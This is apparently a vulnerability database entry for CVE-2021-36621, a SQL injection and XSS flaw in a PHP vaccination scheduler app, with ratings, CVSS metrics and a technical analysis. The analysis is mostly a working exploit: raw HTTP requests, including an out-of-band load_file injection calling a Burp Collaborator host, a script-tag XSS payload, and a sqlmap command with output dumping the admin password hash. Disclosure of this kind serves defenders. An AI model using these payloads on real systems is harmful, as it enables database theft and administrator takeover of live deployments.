Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2021-36621

Disclosure Date: July 30, 2021 •
CVE-2021-36621 CVSS v3 Base Score: 8.1
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated

Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection. The username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as Administrator.

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2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-36621

Vendor

https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CVE-nu11-18-09-2821/screen.PNG

Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection – bypass Authentication.
The attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.
Next, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash,
an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.

Request MySQL:

GET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

Respond MySQL:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:17:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 5045
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...

Live test:

http://localhost/scheduler/addSchedule.php?lid=(select%20load_file(%27%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd%27))

Request XSS:

GET /scheduler/addSchedule.php?lid=5&d=v6qfw%3cscript%3ealert(1)%3c%2fscript%3eytpic HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

Respond XSS:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:16:57 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4576
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...
<h3>Schedule Form: (v6qfw<script>alert(1)</script>ytpic)</h3>
...[SNIP]...

Live test:

PoC:

python sqlmap.py python C:\Users\venvaropt\Desktop\CVE\sqlmap\sqlmap.py -u "http://localhost/scheduler/classes/Login.php?f=login" --data="username=admin&password=nu11secur1ty" --cookie="PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3" --batch --answers="crack=N,dict=N,continue=Y,quit=N" -D scheduler -T users -C username,password --dump

OUTPUT:

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 157 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 9211 FROM (SELECT(SLEEP(5)))oCqY) AND 'giEC'='giEC&password=nu11secur1ty
---
[19:49:38] [INFO] the back-end DBMS is MySQL
[19:49:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web application technology: PHP 7.4.22, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[19:49:43] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'scheduler'
[19:49:43] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'scheduler'
[19:49:43] [INFO] retrieved: 1
[19:49:49] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[19:49:56] [INFO] adjusting time delay to 1 second due to good response times
0192023a7bbd73250516f069df18b500
[19:51:46] [INFO] retrieved: admin
[19:52:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: scheduler
Table: users
[1 entry]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 0192023a7bbd73250516f069df18b500 |
+----------+----------------------------------+

[19:52:02] [INFO] table 'scheduler.users' dumped to CSV file 'C:\Users\venvaropt\AppData\Local\sqlmap\output\localhost\dump\scheduler\users.csv'
[19:52:02] [INFO] fetched data logged to text files under 'C:\Users\venvaropt\AppData\Local\sqlmap\output\localhost'

[*] ending @ 19:52:02 /2021-09-28/


C:\Users\venvaropt\Desktop\scheduler-CVE-Critical-CVE-18-09-2821>

Reproduce:

href

Proof:

href

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CVSS V3 Severity and Metrics
Base Score:
8.1 High
Impact Score:
5.9
Exploitability Score:
2.2
Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
High
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • online covid vaccination scheduler system project

Products

  • online covid vaccination scheduler system 1.0

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis